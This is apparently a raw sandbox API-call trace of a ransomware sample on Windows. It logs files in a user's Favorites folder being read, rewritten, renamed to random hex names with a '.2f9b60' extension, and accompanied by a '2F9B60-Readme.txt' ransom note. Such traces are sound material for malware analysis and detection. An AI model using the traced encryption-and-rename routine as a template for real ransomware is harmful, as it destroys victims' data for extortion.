returned 1 [0180.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0180.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0180.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0180.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0180.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9fd30 [0180.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0180.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0180.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0180.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f80) returned 1 [0180.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f5f0 [0180.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0180.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0180.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0180.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0180.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0180.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c21720 [0180.130] SetFilePointerEx (in: hFile=0x1ad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.130] WriteFile (in: hFile=0x1ad4, lpBuffer=0x42c21720*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2984f690, lpOverlapped=0x0 | out: lpBuffer=0x42c21720*, lpNumberOfBytesWritten=0x2984f690*=0x11c, lpOverlapped=0x0) returned 1 [0188.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0188.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0188.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0188.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f670 [0188.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0188.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0188.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0188.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86250 [0188.256] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="4e") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="87") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="98") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="a0") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="fd") returned 2 [0188.256] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="35") returned 2 [0188.256] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="7c") returned 2 [0188.256] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="c1") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="37") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="5e") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="61") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="42") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="37") returned 2 [0188.256] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="86") returned 2 [0188.256] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="d5") returned 2 [0188.256] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="ff") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="ec") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="75") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="e6") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="b7") returned 2 [0188.256] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="ca") returned 2 [0188.256] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="95") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="66") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="8a") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="47") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="38") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="15") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="6f") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="de") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="7f") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="19") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="13") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="e6") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="86") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="50") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="26") returned 2 [0188.257] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="e7") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="91") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="cb") returned 2 [0188.257] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="d4") returned 2 [0188.257] sprintf (in: _Dest=0x1cd862a0, _Format="%c%c" | out: _Dest="d6") returned 2 [0188.257] sprintf (in: _Dest=0x1cd862a2, _Format="%c%c" | out: _Dest="11") returned 2 [0188.257] RtlInitAnsiString (in: DestinationString=0x2984f708, SourceString="4e8798a0fd357cc1375e61423786d5ffec75e6b7ca95668a4738156fde7f1913e6865026e791cbd4d611" | out: DestinationString="4e8798a0fd357cc1375e61423786d5ffec75e6b7ca95668a4738156fde7f1913e6865026e791cbd4d611") [0188.257] RtlAnsiStringToUnicodeString (in: DestinationString=0x2984f6d8, SourceString="4e8798a0fd357cc1375e61423786d5ffec75e6b7ca95668a4738156fde7f1913e6865026e791cbd4d611", AllocateDestinationString=1 | out: DestinationString="4e8798a0fd357cc1375e61423786d5ffec75e6b7ca95668a4738156fde7f1913e6865026e791cbd4d611") returned 0x0 [0188.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37950 [0188.258] RtlFreeAnsiString (AnsiString="4") [0188.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0188.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f670) returned 1 [0188.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0188.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21720) returned 1 [0188.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5f0) returned 1 [0188.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f80) returned 1 [0188.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fd30) returned 1 [0188.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0188.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b10) returned 1 [0188.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266840) returned 1 [0188.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b70) returned 1 [0188.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b862ca0 [0188.264] wcscat (in: _Dest=0x1b862ca0, _Source="4e8798a0fd357cc1375e6" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4e8798a0fd357cc1375e6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4e8798a0fd357cc1375e6" [0188.264] wcscat (in: _Dest=0x1b862ca0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4e8798a0fd357cc1375e6.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4e8798a0fd357cc1375e6.2f9b60" [0188.264] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4e8798a0fd357cc1375e6.2f9b60", NtPathName=0x2984f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4e8798a0fd357cc1375e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205ec10 [0209.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ec10) returned 1 [0209.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c13b10) returned 1 [0209.373] NtQueryInformationFile (in: FileHandle=0x1ad4, IoStatusBlock=0x2984f718, FileInformation=0x2984f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2984f718, FileInformation=0x2984f728) returned 0x0 [0209.373] NtSetInformationFile (FileHandle=0x1ad4, IoStatusBlock=0x2984f718, FileInformation=0x2984f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862ca0) returned 1 [0216.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37950) returned 1 [0216.751] FlushFileBuffers (hFile=0x1ad4) returned 1 [0221.425] CloseHandle (hObject=0x1ad4) returned 1 [0223.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431cb260 [0223.041] wcscpy (in: _Dest=0x431cb260, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0223.041] wcscat (in: _Dest=0x431cb260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0223.041] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0226.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb260) returned 1 [0226.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a290) returned 1 Thread: id = 1802 os_tid = 0xea4 [0132.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url")) returned 0x20 [0132.274] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", dwFileAttributes=0x20) returned 1 [0132.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad8 [0132.275] GetFileSizeEx (in: hFile=0x1ad8, lpFileSize=0x2685fa00 | out: lpFileSize=0x2685fa00*=133) returned 1 [0132.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0132.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0132.276] NtQuerySystemTime (in: CurrentTime=0x2685f8c0 | out: CurrentTime=0x2685f8c0*=132462177375214000) returned 0x0 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x33256747 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x5c37f176 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x3e90f2b4 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x3283334c [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x266885b9 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x5592934d [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x727909a2 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x58f3ec70 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x7bb1a44d [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x2a9c311c [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x6d894505 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x4cb82f87 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x43db84f1 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x19c3dd36 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x4ca698bc [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0xb6a7d23 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x3c4d544d [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x63db3cff [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x14de8104 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x15cbeb39 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x4c8bb0d6 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x7f7f9cb1 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x6f656965 [0132.276] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x4a6c1112 [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x66e8be5d [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x12a00901 [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x181f2810 [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x12c919a4 [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x405fe5e4 [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x22a904e2 [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0x98a1a24 [0132.277] RtlRandomEx (in: Seed=0x2685f8b0 | out: Seed=0x2685f8b0) returned 0xe6c9d52 [0132.285] ReadFile (in: hFile=0x1ad8, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2685f8b0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2685f8b0*=0x85, lpOverlapped=0x0) returned 1 [0132.286] SetFilePointerEx (in: hFile=0x1ad8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.286] WriteFile (hFile=0x1ad8, lpBuffer=0x2011b4e0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2685f8b4, lpOverlapped=0x0) [0180.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0180.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced88b0 [0180.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88b0) returned 1 [0180.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2011b4e0) returned 1 [0180.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0180.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505210) returned 1 [0180.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0180.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced88b0 [0180.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ad0 [0180.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505210 [0180.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7560 [0180.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7560) returned 1 [0180.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced7560 [0180.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0180.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced88e0 [0180.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88e0) returned 1 [0180.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505210) returned 1 [0180.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0180.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x42c141b0 [0180.137] SetFilePointerEx (in: hFile=0x1ad8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.137] WriteFile (in: hFile=0x1ad8, lpBuffer=0x42c141b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2685f9d0, lpOverlapped=0x0 | out: lpBuffer=0x42c141b0*, lpNumberOfBytesWritten=0x2685f9d0*=0x10c, lpOverlapped=0x0) returned 1 [0188.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0188.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c50 [0188.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c50) returned 1 [0188.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20267c50 [0188.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e00 [0188.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0188.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267f80) returned 1 [0188.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0188.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fd30 [0188.301] sprintf (in: _Dest=0x1cd9fd30, _Format="%c%c" | out: _Dest="af") returned 2 [0188.301] sprintf (in: _Dest=0x1cd9fd32, _Format="%c%c" | out: _Dest="05") returned 2 [0188.301] sprintf (in: _Dest=0x1cd9fd34, _Format="%c%c" | out: _Dest="b6") returned 2 [0188.301] sprintf (in: _Dest=0x1cd9fd36, _Format="%c%c" | out: _Dest="44") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd38, _Format="%c%c" | out: _Dest="7b") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd3a, _Format="%c%c" | out: _Dest="70") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd3c, _Format="%c%c" | out: _Dest="5f") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd3e, _Format="%c%c" | out: _Dest="6e") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd40, _Format="%c%c" | out: _Dest="22") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd42, _Format="%c%c" | out: _Dest="d0") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd44, _Format="%c%c" | out: _Dest="db") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd46, _Format="%c%c" | out: _Dest="bd") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd48, _Format="%c%c" | out: _Dest="42") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd4a, _Format="%c%c" | out: _Dest="76") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd4c, _Format="%c%c" | out: _Dest="05") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd4e, _Format="%c%c" | out: _Dest="8a") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd50, _Format="%c%c" | out: _Dest="7a") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd52, _Format="%c%c" | out: _Dest="af") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd54, _Format="%c%c" | out: _Dest="1a") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd56, _Format="%c%c" | out: _Dest="bc") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd58, _Format="%c%c" | out: _Dest="1f") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd5a, _Format="%c%c" | out: _Dest="7b") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd5c, _Format="%c%c" | out: _Dest="57") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd5e, _Format="%c%c" | out: _Dest="59") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd60, _Format="%c%c" | out: _Dest="1d") returned 2 [0188.302] sprintf (in: _Dest=0x1cd9fd62, _Format="%c%c" | out: _Dest="d1") returned 2 [0188.303] RtlInitAnsiString (in: DestinationString=0x2685fa48, SourceString="af05b6447b705f6e22d0dbbd4276058a7aaf1abc1f7b57591dd1" | out: DestinationString="af05b6447b705f6e22d0dbbd4276058a7aaf1abc1f7b57591dd1") [0188.303] RtlAnsiStringToUnicodeString (in: DestinationString=0x2685fa18, SourceString="af05b6447b705f6e22d0dbbd4276058a7aaf1abc1f7b57591dd1", AllocateDestinationString=1 | out: DestinationString="af05b6447b705f6e22d0dbbd4276058a7aaf1abc1f7b57591dd1") returned 0x0 [0188.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20505010 [0188.303] RtlFreeAnsiString (AnsiString="a") [0188.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fd30) returned 1 [0188.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c50) returned 1 [0188.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e00) returned 1 [0188.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c141b0) returned 1 [0188.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7560) returned 1 [0188.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8310) returned 1 [0188.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88b0) returned 1 [0188.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0188.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266780) returned 1 [0188.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ae0) returned 1 [0188.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a80) returned 1 [0188.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1ce636f0 [0188.309] wcscat (in: _Dest=0x1ce636f0, _Source="af05b6447b705" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\af05b6447b705") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\af05b6447b705" [0188.309] wcscat (in: _Dest=0x1ce636f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\af05b6447b705.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\af05b6447b705.2f9b60" [0188.310] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\af05b6447b705.2f9b60", NtPathName=0x2685f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\af05b6447b705.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x42c37ad0 [0209.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37ad0) returned 1 [0209.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293df0) returned 1 [0209.027] NtQueryInformationFile (in: FileHandle=0x1ad8, IoStatusBlock=0x2685fa58, FileInformation=0x2685fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2685fa58, FileInformation=0x2685fa68) returned 0x0 [0209.027] NtSetInformationFile (FileHandle=0x1ad8, IoStatusBlock=0x2685fa58, FileInformation=0x2685fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0218.197] 